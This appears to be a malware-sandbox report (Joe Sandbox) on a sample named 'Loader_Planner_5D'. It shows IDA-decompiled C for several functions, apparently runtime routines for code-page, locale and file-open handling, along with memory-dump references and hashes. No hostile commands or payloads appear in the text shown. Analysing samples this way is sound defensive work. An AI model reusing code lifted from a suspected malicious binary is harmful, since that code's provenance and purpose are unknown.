				if (E00007FF77FF71065A42C(_t199, E00007FF77FF71065E974(0, _t194 + _t199, _t199, E00007FF77FF71065E974(0, _t194 + _t199, _t199, _t260[2], _t239, __rbx, _t26,  *((intOrPtr*)(__rcx + 0x138)), __rsi, _t28, _t310), _t239, _t252, _t35,  *((intOrPtr*)(__rcx + 0x138)), _t294, _t37, _t310), _t252, _t264, __rcx, _t294, _t316, _t310) == 0) goto 0x1065935b;
				_t48 = _t319 + 0xfe; // 0xfe
				_t240 = _t48;
				 *_t240 = 0;
				 *((char*)(_t323 + 0x7f)) = 0;
				 *((char*)(_t297 + 0x7f)) = 0;
				 *((char*)(_t323 + 0x80)) = 0;
				 *((char*)(_t297 + 0x80)) = 0;
				 *((long long*)(_t300 + 0x68)) = _t240;
				if ( *(_t300 + 0x50) - _t199 <= 0) goto 0x1065910c;
				if ( *_t326 != 0xfde9) goto 0x106590b8;
				_t55 = _t297 + 0x100; // 0x100
				_t304 = _t55;
				_t56 = _t319 + 0x200; // 0x200
				r11d = 0x8000;
				_t187 =  >  ? 0 : r11d;
				 *_t56 =  >  ? 0 : r11d;
				 *((char*)(_t323 - _t297 + _t304)) = 0x20;
				 *_t304 = 0x80;
				if (0x80 + _t199 - 0xff <= 0) goto 0x1065908a;
				goto 0x1065910c;
				_t289 = _t300 + 0x86;
				if ( *((intOrPtr*)(_t300 + 0x86)) == 0) goto 0x1065910c;
				r11d = 0x8000;
				if (_t289[1] == 0) goto 0x1065910c;
				_t188 =  *_t289 & 0x000000ff;
				if (_t188 - (_t289[1] & 0x000000ff) > 0) goto 0x10659104;
				_t241 = _t188;
				 *((intOrPtr*)(_t319 + 0x100 + _t241 * 2)) = r11w;
				 *(_t241 + _t323 + 0x80) = _t188;
				 *(_t241 + _t297 + 0x80) = _t188;
				if (_t188 + _t199 - (_t289[1] & 0x000000ff) <= 0) goto 0x106590df;
				if (_t289[2] != 0) goto 0x106590cf;
				_t72 = _t319 + 0x200; // 0x200
				asm("movups xmm0, [ecx]");
				asm("movups xmm1, [ecx+0x10]");
				_t266 = _t72 + 0x80;
				asm("inc ecx");
				_t242 =  *((intOrPtr*)(_t266 + 0x70));
				asm("inc ecx");
				asm("movups xmm0, [ecx-0x60]");
				asm("movups xmm1, [ecx-0x50]");
				asm("inc ecx");
				asm("inc ecx");
				asm("movups xmm0, [ecx-0x40]");
				asm("movups xmm1, [ecx-0x30]");
				asm("inc ecx");
				asm("inc ecx");
				asm("movups xmm0, [ecx-0x20]");
				asm("movups xmm1, [ecx-0x10]");
				asm("inc ecx");
				_t320 = _t319 - 0xffffff80;
				asm("movups xmm0, [ecx]");
				asm("inc ecx");
				asm("movups xmm1, [ecx+0x10]");
				asm("inc ecx");
				asm("movups xmm0, [ecx+0x20]");
				asm("inc ecx");
				asm("movups xmm1, [ecx+0x30]");
				asm("inc ecx");
				asm("movups xmm0, [ecx+0x40]");
				asm("inc ecx");
				asm("movups xmm1, [ecx+0x50]");
				asm("inc ecx");
				asm("movups xmm0, [ecx+0x60]");
				asm("inc ecx");
				asm("inc ecx");
				 *((long long*)(_t320 + 0x70)) =  *((intOrPtr*)(_t266 + 0x70));
				 *((intOrPtr*)(_t320 + 0x78)) =  *((intOrPtr*)(_t266 + 0x78));
				 *((short*)(_t320 + 0x7c)) =  *(_t266 + 0x7c) & 0x0000ffff;
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				asm("inc ecx");
				asm("repne inc ecx");
				 *((intOrPtr*)(_t323 + 0x78)) =  *((intOrPtr*)(_t323 + 0x178));
				 *((short*)(_t323 + 0x7c)) =  *(_t323 + 0x17c) & 0x0000ffff;
				 *((char*)(_t323 + 0x7e)) =  *((intOrPtr*)(_t323 + 0x17e));
				asm("movups xmm0, [ebp+0x100]");
				asm("movups xmm1, [ebp+0x110]");
				asm("movups [ebp], xmm0");
				asm("movups xmm0, [ebp+0x120]");
				asm("movups [ebp+0x10], xmm1");
				asm("movups xmm1, [ebp+0x130]");
				asm("movups [ebp+0x20], xmm0");
				asm("movups xmm0, [ebp+0x140]");
				asm("movups [ebp+0x30], xmm1");
				asm("movups xmm1, [ebp+0x150]");
				asm("movups [ebp+0x40], xmm0");
				asm("movups xmm0, [ebp+0x160]");
				asm("movups [ebp+0x50], xmm1");
				asm("movsd xmm1, [ebp+0x170]");
				asm("movups [ebp+0x60], xmm0");
				asm("movsd [ebp+0x70], xmm1");
				 *((intOrPtr*)(_t297 + 0x78)) =  *((intOrPtr*)(_t297 + 0x178));
				 *((short*)(_t297 + 0x7c)) =  *(_t297 + 0x17c) & 0x0000ffff;
				_t155 =  *((intOrPtr*)(_t297 + 0x17e));
				 *(_t297 + 0x7e) = _t155;
				if ( *((intOrPtr*)(__rcx + 0x100)) == 0) goto 0x10659314;
				asm("lock xadd [ecx], eax");
				if ((_t155 | 0xffffffff) != _t199) goto 0x10659314;
				E00007FF77FF710651DC8( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x108)) - 0xfe);
				E00007FF77FF710651DC8( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x110)) + 0xffffff80);
				E00007FF77FF710651DC8( *((intOrPtr*)(_t266 + 0x70)),  *((intOrPtr*)(__rcx + 0x118)) + 0xffffff80);
				E00007FF77FF710651DC8(_t242,  *((intOrPtr*)(__rcx + 0x100)));
				_t243 =  *(_t300 + 0x58);
				 *_t243 = _t199;
				 *((long long*)(__rcx + 0x100)) = _t243;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(_t300 + 0x60));
				 *((long long*)(__rcx + 0x108)) =  *((intOrPtr*)(_t300 + 0x68));
				_t102 = _t323 + 0x80; // 0x80
				 *((long long*)(__rcx + 0x110)) = _t102;
				_t104 = _t297 + 0x80; // 0x80
				_t247 = _t104;
				 *((long long*)(__rcx + 0x118)) = _t104;
				 *(__rcx + 8) =  *(_t300 + 0x50);
				goto 0x1065937f;
				E00007FF77FF710651DC8(_t104,  *(_t300 + 0x58));
				E00007FF77FF710651DC8(_t104, _t320);
				E00007FF77FF710651DC8(_t104, _t323);
				E00007FF77FF710651DC8(_t247, _t297);
				_t279 = _t316;
				E00007FF77FF710651DC8(_t247, _t279);
				goto 0x106593d8;
				if ( *((intOrPtr*)(_t279 + 0x100)) == 0) goto 0x1065939a;
				asm("lock dec dword [eax]");
				 *((long long*)(_t279 + 0x100)) = _t252;
				 *_t279 = 0x1066ec30;
				 *((long long*)(_t279 + 0x108)) = _t252;
				 *((long long*)(_t279 + 0x110)) = 0x1066eeb0;
				 *((long long*)(_t279 + 0x118)) = 0x1066f030;
				 *((intOrPtr*)(_t279 + 8)) = 1;
				return E00007FF77FF710641DF0(0, _t188 + _t199,  *(_t300 + 0x98) ^ _t300);
			}

0x7ff710658da8
0x7ff710658da8
0x7ff710658da8
0x7ff710658da8
0x7ff710658da8
0x7ff710658dab
0x7ff710658daf
0x7ff710658db3
0x7ff710658dc0
0x7ff710658dc7
0x7ff710658dce
0x7ff710658dd1
0x7ff710658de2
0x7ff710658de9
0x7ff710658ded
0x7ff710658df0
0x7ff710658df5
0x7ff710658dfb
0x7ff710658e01
0x7ff710658e05
0x7ff710658e0a
0x7ff710658e0a
0x7ff710658e10
0x7ff710658e14
0x7ff710658e19
0x7ff710658e2a
0x7ff710658e35
0x7ff710658e38
0x7ff710658e3f
0x7ff710658e55
0x7ff710658e5c
0x7ff710658e69
0x7ff710658e70
0x7ff710658e7d
0x7ff710658e84
0x7ff710658e94
0x7ff710658e9b
0x7ff710658e9e
0x7ff710658ea8
0x7ff710658eb1
0x7ff710658eba
0x7ff710658ec3
0x7ff710658ecc
0x7ff710658ed7
0x7ff710658ee3
0x7ff710658ef8
0x7ff710658f06
0x7ff710658f0c
0x7ff710658f14
0x7ff710658f1a
0x7ff710658f23
0x7ff710658f2d
0x7ff710658f35
0x7ff710658f3a
0x7ff710658f3c
0x7ff710658f4b
0x7ff710658f50
0x7ff710658f52
0x7ff710658f5b
0x7ff710658f5d
0x7ff710658f62
0x7ff710658f6d
0x7ff710658f75
0x7ff710658f7a
0x7ff710658f88
0x7ff710658f8d
0x7ff710658f91
0x7ff710658f9a
0x7ff710658f9e
0x7ff710658fa5
0x7ff710658fa9
0x7ff710658fa9
0x7ff710658fb4
0x7ff710658fbd
0x7ff710658fcb
0x7ff710658fd0
0x7ff710658fd4
0x7ff710658fda
0x7ff710658fe3
0x7ff710658fe7
0x7ff710658fee
0x7ff710658ff9
0x7ff710659002
0x7ff710659002
0x7ff710659009
0x7ff71065900d
0x7ff710659013
0x7ff71065901a
0x7ff710659021
0x7ff71065902f
0x7ff710659035
0x7ff710659035
0x7ff71065903c
0x7ff71065903f
0x7ff710659043
0x7ff710659046
0x7ff71065904d
0x7ff710659053
0x7ff71065905c
0x7ff710659069
0x7ff71065906e
0x7ff71065906e
0x7ff710659078
0x7ff710659084
0x7ff710659096
0x7ff71065909a
0x7ff7106590a2
0x7ff7106590a6
0x7ff7106590b4
0x7ff7106590b6
0x7ff7106590b8
0x7ff7106590c7
0x7ff7106590c9
0x7ff7106590d2
0x7ff7106590d4
0x7ff7106590dd
0x7ff7106590df
0x7ff7106590e2
0x7ff7106590eb
0x7ff7106590f3
0x7ff710659102
0x7ff71065910a
0x7ff71065910c
0x7ff710659113
0x7ff710659116
0x7ff71065911a
0x7ff710659121
0x7ff710659126
0x7ff71065912a
0x7ff71065912f
0x7ff710659133
0x7ff710659137
0x7ff71065913c
0x7ff710659141
0x7ff710659145
0x7ff710659149
0x7ff71065914e
0x7ff710659153
0x7ff710659157
0x7ff71065915b
0x7ff710659160
0x7ff710659164
0x7ff710659167
0x7ff71065916c
0x7ff710659170
0x7ff710659175
0x7ff710659179
0x7ff71065917e
0x7ff710659182
0x7ff710659187
0x7ff71065918b
0x7ff710659190
0x7ff710659194
0x7ff710659199
0x7ff71065919d
0x7ff7106591a2
0x7ff7106591a7
0x7ff7106591ae
0x7ff7106591b6
0x7ff7106591c2
0x7ff7106591ca
0x7ff7106591d2
0x7ff7106591d6
0x7ff7106591de
0x7ff7106591e3
0x7ff7106591eb
0x7ff7106591f0
0x7ff7106591f8
0x7ff7106591fd
0x7ff710659205
0x7ff71065920a
0x7ff710659212
0x7ff710659217
0x7ff710659220
0x7ff710659225
0x7ff71065922b
0x7ff710659237
0x7ff710659243
0x7ff710659247
0x7ff710659254
0x7ff71065925b
0x7ff71065925f
0x7ff710659266
0x7ff71065926a
0x7ff710659271
0x7ff710659275
0x7ff71065927c
0x7ff710659280
0x7ff710659287
0x7ff71065928b
0x7ff710659292
0x7ff710659296
0x7ff71065929e
0x7ff7106592a2
0x7ff7106592a7
0x7ff7106592b1
0x7ff7106592b5
0x7ff7106592bb
0x7ff7106592c8
0x7ff7106592cd
0x7ff7106592d3
0x7ff7106592e3
0x7ff7106592f3
0x7ff710659303
0x7ff71065930f
0x7ff710659314
0x7ff710659319
0x7ff71065931b
0x7ff710659327
0x7ff71065932f
0x7ff710659336
0x7ff71065933d
0x7ff710659344
0x7ff710659344
0x7ff71065934b
0x7ff710659356
0x7ff710659359
0x7ff710659360
0x7ff710659368
0x7ff710659370
0x7ff710659378
0x7ff71065937f
0x7ff710659382
0x7ff710659389
0x7ff710659395
0x7ff710659397
0x7ff7106593a1
0x7ff7106593a8
0x7ff7106593b7
0x7ff7106593be
0x7ff7106593cc
0x7ff7106593d5
0x7ff710659408

APIs

GetCPInfo.KERNEL32 ref: 00007FF710658EF0

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 4b4090f385e86c63487b989cf705812f055b04ffaa386bb586c62158b1d6a46b
Instruction ID: ff2a241b842f1181dece5e1709fbe620e81e502dadfbc21df852ca90332c1c8c
Opcode Fuzzy Hash: 4b4090f385e86c63487b989cf705812f055b04ffaa386bb586c62158b1d6a46b
Instruction Fuzzy Hash: 28129D22A08BC186E751DF2894456FDB3B5FB59798F859235EF8C86792DF38E188C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710659518 Relevance: 1.8, APIs: 1, Instructions: 335
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF77FF710659518(intOrPtr* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r9, void* __r10, long long _a8, long long _a16, long long _a24) {
				void* _v40;
				signed int _v48;
				char _v56;
				long long _v72;
				void* _t114;
				void* _t120;
				signed int _t152;
				char _t182;
				char _t183;
				long long _t213;
				intOrPtr* _t224;
				intOrPtr* _t242;
				char* _t296;
				char* _t297;
				char* _t329;
				void* _t331;
				long long _t334;
				void* _t335;
				intOrPtr* _t336;
				long long _t338;
				signed long long _t339;
				long long _t340;

				_t332 = __r10;
				_t331 = __r9;
				_t224 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				r15d = 0;
				_v56 = __rcx;
				_v48 = _v48 & _t339;
				if ( *((intOrPtr*)(__rcx + 0x140)) != _t339) goto 0x10659566;
				if ( *((intOrPtr*)(__rcx + 0x148)) != _t339) goto 0x10659566;
				r12d = 0;
				goto 0x106599d6;
				r13d = 1;
				E00007FF77FF710652430(_t114, __rcx, __rdx, __r10);
				_t338 = _t224;
				E00007FF77FF710651DC8(_t224, __rcx);
				if (_t338 != 0) goto 0x10659590;
				goto 0x10659a2c;
				E00007FF77FF710652430(r13d, _t335, __rdx, __r10);
				_t334 = _t224;
				E00007FF77FF710651DC8(_t224, _t335);
				if (_t334 != 0) goto 0x106595b8;
				_t120 = E00007FF77FF710651DC8(_t224, _t338);
				goto 0x10659588;
				if ( *((intOrPtr*)(__rcx + 0x140)) == _t339) goto 0x10659913;
				E00007FF77FF710652430(_t120, _t335, __rbx, __r10);
				_t340 = _t224;
				E00007FF77FF710651DC8(_t224, _t335);
				_t213 = _t340;
				if (_t213 != 0) goto 0x106595ec;
				E00007FF77FF710651DC8(_t224, _t338);
				goto 0x106595b1;
				_t299 =  *((intOrPtr*)(__rcx + 0x140));
				_t11 = _t338 + 0x18; // 0x18
				_v72 = _t11;
				r9d = 0x15;
				_t13 =  &_v56; // -15
				E00007FF77FF71065EBE4(0, r13d, _t13,  *((intOrPtr*)(__rcx + 0x140)), __r10);
				_t14 = _t338 + 0x20; // 0x20
				r9d = 0x14;
				_v72 = _t14;
				_t16 =  &_v56; // -15
				E00007FF77FF71065EBE4(0, r13d, _t16,  *((intOrPtr*)(__rcx + 0x140)), _t332);
				_t17 = _t338 + 0x28; // 0x28
				r9d = 0x16;
				_v72 = _t17;
				_t19 =  &_v56; // -15
				E00007FF77FF71065EBE4(0, r13d, _t19,  *((intOrPtr*)(__rcx + 0x140)), _t332);
				_t20 =  &_v56; // -15
				_t21 = _t338 + 0x30; // 0x30
				r9d = 0x17;
				_v72 = _t21;
				E00007FF77FF71065EBE4(0, r13d, _t20, _t299, _t332);
				r9d = 0x18;
				_t23 = _t338 + 0x38; // 0x38
				_t336 = _t23;
				_v72 = _t336;
				_t25 =  &_v56; // -15
				E00007FF77FF71065EBE4(0, _t331 - 0x17, _t25, _t299, _t332);
				r9d = 0x50;
				_t27 =  &_v56; // -15
				_t28 = _t338 + 0x40; // 0x40
				_v72 = _t28;
				E00007FF77FF71065EBE4(0, _t331 - 0x4f, _t27, _t299, _t332);
				r9d = 0x51;
				_t31 =  &_v56; // -15
				_t32 = _t338 + 0x48; // 0x48
				_v72 = _t32;
				E00007FF77FF71065EBE4(0, _t331 - 0x50, _t31, _t299, _t332);
				_t35 =  &_v56; // -15
				_t36 = _t338 + 0x50; // 0x50
				r9d = 0x1a;
				_v72 = _t36;
				E00007FF77FF71065EBE4(0, 0, _t35, _t299, _t332);
				_t38 =  &_v56; // -15
				_t39 = _t338 + 0x51; // 0x51
				r9d = 0x19;
				_v72 = _t39;
				E00007FF77FF71065EBE4(0, 0, _t38, _t299, _t332);
				_t41 =  &_v56; // -15
				_t42 = _t338 + 0x52; // 0x52
				r9d = 0x54;
				_v72 = _t42;
				E00007FF77FF71065EBE4(0, 0, _t41, _t299, _t332);
				_t44 = _t338 + 0x53; // 0x53
				r9d = 0x55;
				_v72 = _t44;
				_t46 =  &_v56; // -15
				E00007FF77FF71065EBE4(0, 0, _t46, _t299, _t332);
				_t47 =  &_v56; // -15
				_t48 = _t338 + 0x54; // 0x54
				r9d = 0x56;
				_v72 = _t48;
				E00007FF77FF71065EBE4(0, 0, _t47, _t299, _t332);
				_t50 =  &_v56; // -15
				_t51 = _t338 + 0x55; // 0x55
				r9d = 0x57;
				_v72 = _t51;
				E00007FF77FF71065EBE4(0, 0, _t50, _t299, _t332);
				_t53 =  &_v56; // -15
				_t54 = _t338 + 0x56; // 0x56
				r9d = 0x52;
				_v72 = _t54;
				E00007FF77FF71065EBE4(0, 0, _t53, _t299, _t332);
				_t56 =  &_v56; // -15
				_t57 = _t338 + 0x57; // 0x57
				r9d = 0x53;
				_v72 = _t57;
				E00007FF77FF71065EBE4(0, 0, _t56, _t299, _t332);
				r9d = 0x15;
				_t59 =  &_v56; // -15
				_t60 = _t338 + 0x68; // 0x68
				_v72 = _t60;
				E00007FF77FF71065EBE4(0, _t331 - 0x13, _t59, _t299, _t332);
				r9d = 0x14;
				_t63 =  &_v56; // -15
				_t64 = _t338 + 0x70; // 0x70
				_v72 = _t64;
				E00007FF77FF71065EBE4(0, _t331 - 0x12, _t63, _t299, _t332);
				r9d = 0x16;
				_t67 =  &_v56; // -15
				_t68 = _t338 + 0x78; // 0x78
				_v72 = _t68;
				E00007FF77FF71065EBE4(0, _t331 - 0x14, _t67, _t299, _t332);
				r9d = 0x17;
				_t71 =  &_v56; // -15
				_t72 = _t338 + 0x80; // 0x80
				_v72 = _t72;
				E00007FF77FF71065EBE4(0, _t331 - 0x15, _t71, _t299, _t332);
				r9d = 0x50;
				_t75 =  &_v56; // -15
				_t76 = _t338 + 0x88; // 0x88
				_v72 = _t76;
				E00007FF77FF71065EBE4(0, _t331 - 0x4e, _t75, _t299, _t332);
				_t79 = _t338 + 0x90; // 0x90
				_t242 = _t79;
				r9d = 0x51;
				_v72 = _t242;
				_t81 =  &_v56; // -15
				E00007FF77FF71065EBE4(0, _t331 - 0x4f, _t81, _t299, _t332);
				if (_t213 == 0) goto 0x106598c9;
				E00007FF77FF71065940C(_t338);
				E00007FF77FF710651DC8(_t242, _t338);
				E00007FF77FF710651DC8(_t242, _t334);
				E00007FF77FF710651DC8(_t242, _t340);
				goto 0x10659a2c;
				_t296 =  *_t336;
				if ( *_t296 == 0) goto 0x1065997b;
				_t83 = _t242 - 0x30; // -48
				_t182 = _t83;
				if (_t182 - 9 > 0) goto 0x106598f5;
				 *_t296 = _t182;
				r13d = 1;
				_t297 = _t296 + _t336;
				_t152 =  *_t297;
				if (_t152 != 0) goto 0x106598d7;
				goto 0x10659981;
				if (_t152 != 0x3b) goto 0x106598e1;
				_t329 = _t297;
				_t183 =  *((intOrPtr*)(_t329 + 1));
				 *_t329 = _t183;
				if (_t183 != 0) goto 0x106598fc;
				r13d = 1;
				goto 0x106598ea;
				asm("movups xmm0, [eax]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x10]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x20]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x30]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x40]");
				asm("inc ecx");
				asm("movups xmm1, [eax+0x50]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x60]");
				asm("inc ecx");
				asm("movups xmm0, [eax+0x70]");
				asm("inc ecx");
				asm("movups xmm1, [eax+edx]");
				asm("inc ecx");
				 *((long long*)(_t338 + _t297 + 0x10)) =  *((intOrPtr*)(0x10689160 + _t297 + 0x10));
				goto 0x10659981;
				r13d = 1;
				 *_t338 =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8))));
				 *((long long*)(_t338 + 8)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 8));
				 *((long long*)(_t338 + 0x10)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 0x10));
				 *((long long*)(_t338 + 0x58)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 0x58));
				 *((long long*)(_t338 + 0x60)) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0xf8)) + 0x60));
				 *_t334 = r13d;
				if (_t340 == 0) goto 0x106599d6;
				 *_t340 = r13d;
				if ( *((intOrPtr*)(__rcx + 0xf0)) == 0) goto 0x106599e5;
				asm("lock dec dword [eax]");
				if ( *((intOrPtr*)(__rcx + 0xe0)) == 0) goto 0x10659a15;
				asm("lock xadd [ecx], eax");
				if ((_t152 | 0xffffffff) != 1) goto 0x10659a15;
				E00007FF77FF710651DC8( *((intOrPtr*)(__rcx + 0xf0)),  *((intOrPtr*)(__rcx + 0xf8)));
				E00007FF77FF710651DC8( *((intOrPtr*)(__rcx + 0xf0)),  *((intOrPtr*)(__rcx + 0xe0)));
				 *((long long*)(__rcx + 0xf0)) = _t340;
				 *((long long*)(__rcx + 0xe0)) = _t334;
				 *((long long*)(__rcx + 0xf8)) = _t338;
				return 0;
			}

0x7ff710659518
0x7ff710659518
0x7ff710659518
0x7ff710659518
0x7ff71065951d
0x7ff710659522
0x7ff710659537
0x7ff71065953a
0x7ff71065953e
0x7ff71065954c
0x7ff710659555
0x7ff710659557
0x7ff710659561
0x7ff710659566
0x7ff710659574
0x7ff71065957b
0x7ff71065957e
0x7ff710659586
0x7ff71065958b
0x7ff71065959a
0x7ff7106595a1
0x7ff7106595a4
0x7ff7106595ac
0x7ff7106595b1
0x7ff7106595b6
0x7ff7106595bf
0x7ff7106595cb
0x7ff7106595d2
0x7ff7106595d5
0x7ff7106595da
0x7ff7106595dd
0x7ff7106595e2
0x7ff7106595ea
0x7ff7106595ec
0x7ff7106595f3
0x7ff7106595fa
0x7ff7106595ff
0x7ff710659605
0x7ff71065960c
0x7ff710659611
0x7ff710659615
0x7ff71065961b
0x7ff710659623
0x7ff71065962c
0x7ff710659631
0x7ff710659635
0x7ff71065963b
0x7ff710659643
0x7ff71065964c
0x7ff710659653
0x7ff710659657
0x7ff71065965b
0x7ff710659664
0x7ff71065966c
0x7ff710659671
0x7ff710659677
0x7ff710659677
0x7ff71065967e
0x7ff710659683
0x7ff71065968d
0x7ff710659692
0x7ff710659698
0x7ff7106596a1
0x7ff7106596a5
0x7ff7106596ae
0x7ff7106596b3
0x7ff7106596b9
0x7ff7106596c2
0x7ff7106596c6
0x7ff7106596cf
0x7ff7106596d6
0x7ff7106596da
0x7ff7106596de
0x7ff7106596e7
0x7ff7106596ee
0x7ff7106596f5
0x7ff7106596f9
0x7ff7106596fd
0x7ff710659706
0x7ff71065970d
0x7ff710659714
0x7ff710659718
0x7ff71065971c
0x7ff710659725
0x7ff71065972c
0x7ff710659733
0x7ff710659737
0x7ff710659740
0x7ff710659747
0x7ff71065974b
0x7ff710659752
0x7ff710659756
0x7ff71065975a
0x7ff710659763
0x7ff71065976a
0x7ff710659771
0x7ff710659775
0x7ff710659779
0x7ff710659782
0x7ff710659789
0x7ff710659790
0x7ff710659794
0x7ff710659798
0x7ff7106597a1
0x7ff7106597a8
0x7ff7106597af
0x7ff7106597b3
0x7ff7106597b7
0x7ff7106597c0
0x7ff7106597c7
0x7ff7106597cc
0x7ff7106597d2
0x7ff7106597db
0x7ff7106597df
0x7ff7106597e8
0x7ff7106597ed
0x7ff7106597f3
0x7ff7106597fc
0x7ff710659800
0x7ff710659809
0x7ff71065980e
0x7ff710659814
0x7ff71065981d
0x7ff710659821
0x7ff71065982a
0x7ff71065982f
0x7ff710659835
0x7ff71065983e
0x7ff710659845
0x7ff71065984e
0x7ff710659853
0x7ff710659859
0x7ff710659862
0x7ff710659869
0x7ff710659872
0x7ff710659879
0x7ff710659879
0x7ff710659880
0x7ff710659886
0x7ff71065988e
0x7ff710659896
0x7ff71065989d
0x7ff7106598a2
0x7ff7106598aa
0x7ff7106598b2
0x7ff7106598ba
0x7ff7106598c4
0x7ff7106598c9
0x7ff7106598d1
0x7ff7106598d7
0x7ff7106598d7
0x7ff7106598dd
0x7ff7106598df
0x7ff7106598e1
0x7ff7106598e7
0x7ff7106598ea
0x7ff7106598ee
0x7ff7106598f0
0x7ff7106598f7
0x7ff7106598f9
0x7ff7106598fc
0x7ff710659900
0x7ff710659909
0x7ff71065990b
0x7ff710659911
0x7ff71065991f
0x7ff710659922
0x7ff710659926
0x7ff71065992a
0x7ff71065992f
0x7ff710659933
0x7ff710659938
0x7ff71065993c
0x7ff710659941
0x7ff710659945
0x7ff71065994a
0x7ff71065994e
0x7ff710659953
0x7ff710659957
0x7ff71065995c
0x7ff710659960
0x7ff710659966
0x7ff71065996a
0x7ff710659974
0x7ff710659979
0x7ff71065997b
0x7ff71065998b
0x7ff710659999
0x7ff7106599a8
0x7ff7106599b7
0x7ff7106599c6
0x7ff7106599ca
0x7ff7106599d1
0x7ff7106599d3
0x7ff7106599e0
0x7ff7106599e2
0x7ff7106599ef
0x7ff7106599f4
0x7ff7106599fb
0x7ff710659a04
0x7ff710659a10
0x7ff710659a15
0x7ff710659a1e
0x7ff710659a25
0x7ff710659a49

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 904d24d963dccc60e3b1c0973dead840afcc9fe3aafc8b40093535c4b51a5beb
Instruction ID: 0123bd172adea899f8b036357846c764fc1eceb4fc98992f716a846d9d04f1f0
Opcode Fuzzy Hash: 904d24d963dccc60e3b1c0973dead840afcc9fe3aafc8b40093535c4b51a5beb
Instruction Fuzzy Hash: 59E18032A08F8285EB10EB61E4406EE67B5FB557D8F814636DE5D57782EF38E249C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71066757C Relevance: 1.7, APIs: 1, Instructions: 182
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00007FF77FF71066757C(signed int __ecx, signed int __ebp, long long __rbx, signed char* __rdx, long long __rsi, long long __rbp, void* __r8, intOrPtr* __r9, signed int _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				signed int _t45;
				signed int _t49;
				signed char _t50;
				void* _t56;
				void* _t63;
				signed int _t77;
				signed int _t88;
				signed int _t89;
				unsigned int _t90;
				void* _t95;
				void* _t109;
				intOrPtr* _t127;
				void* _t132;
				void* _t138;
				void* _t145;
				void* _t152;
				void* _t153;
				intOrPtr* _t154;
				void* _t156;

				_t140 = __rsi;
				_t129 = __rbx;
				_t152 = _t145;
				 *((long long*)(_t152 + 0x10)) = __rbx;
				 *((long long*)(_t152 + 0x18)) = __rbp;
				 *((long long*)(_t152 + 0x20)) = __rsi;
				_push(_t138);
				 *((char*)(__r9)) = 0;
				r10d = r10d & 0x0000003f;
				_t154 = __r9;
				_t88 = r8d;
				_t127 =  *((intOrPtr*)(0x1068b470 + (__ecx >> 6) * 8));
				if ( *((intOrPtr*)(_t127 + 0x38 + (__ecx + __ecx * 8) * 8)) >= 0) goto 0x106677c3;
				if ((0x00074000 & r8d) != 0) goto 0x106675f8;
				_t13 = _t152 + 8; // 0x2aaaaaaaaaaaaa13
				_t132 = _t13;
				_a8 = 0;
				_t95 = E00007FF77FF71064E724(_t127, _t132);
				if (_t95 != 0) goto 0x106677de;
				if (_t95 != 0) goto 0x10667632;
				asm("bts esi, 0xe");
				if ((_t88 & 0x00074000) == 0x4000) goto 0x10667648;
				if ((0xffffbfff & _t132 - 0x00010000) == 0) goto 0x10667636;
				if ((0xffffbfff & _t132 - 0x00020000) == 0) goto 0x10667643;
				_t45 = _t132 - 0x40000;
				if ((0xffffbfff & _t45) != 0) goto 0x1066764b;
				 *((char*)(__r9)) = 1;
				goto 0x1066764b;
				_t89 = _t88 | _t45;
				goto 0x106675f8;
				if ((_t89 & 0x00000301) != 0x301) goto 0x1066764b;
				 *__r9 = dil;
				goto 0x1066764b;
				 *((char*)(__r9)) = 0;
				if ((_t89 & 0x00070000) == 0) goto 0x106677c3;
				if (( *__rdx & 0x00000040) != 0) goto 0x106677c3;
				_t90 = __rdx[4];
				_t49 = _t90 & 0xc0000000;
				if (_t49 == 0x40000000) goto 0x10667688;
